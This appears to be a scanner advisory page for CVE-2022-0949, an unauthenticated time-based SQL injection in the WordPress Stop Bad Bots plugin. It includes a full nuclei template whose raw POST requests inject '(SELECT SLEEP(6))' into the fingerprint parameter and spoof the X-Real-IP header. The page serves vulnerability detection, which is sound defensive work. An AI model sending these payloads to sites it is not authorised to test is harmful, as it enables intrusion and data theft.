WordPress Stop Bad Bots <6.930 - SQL Injection

criticalseverity

9.8CVSS score

7.7%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

Fixed in version 6.930.

How to confirm it

Send: POST /wp-admin/admin-ajax.php ; @timeout 10s ; GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js
Positive when: duration_2>=6 and status_code_2 == 200 and contains(body_3, "commentform")

Run it with nuclei: nuclei -id CVE-2022-0949 -u <target>

The full check

id: CVE-2022-0949

info:
  name: WordPress Stop Bad Bots <6.930 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: Fixed in version 6.930.
  reference:
    - https://wpscan.com/vulnerability/a0fbb79a-e160-49df-9cf2-18ab64ea66cb
    - https://wordpress.org/plugins/stopbadbots/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0949
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0949
    cwe-id: CWE-89
    epss-score: 0.0767
    epss-percentile: 0.94636
    cpe: cpe:2.3:a:stopbadbots:block_and_stop_bad_bots:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: stopbadbots
    product: block_and_stop_bad_bots
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,stopbadbots,wp-plugin,wp,unauth,wpscan,sqli,wordpress,vuln
variables:
  IP: '{{rand_ip("1.1.1.0/24")}}'

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Real-IP: {{IP}}
        Content-Type: application/x-www-form-urlencoded

        action=stopbadbots_grava_fingerprint&fingerprint=0
      - |
        @timeout 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Real-IP: {{IP}}
        Content-Type: application/x-www-form-urlencoded

        action=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6))
      - |
        GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(body_3, "commentform")'
        condition: and

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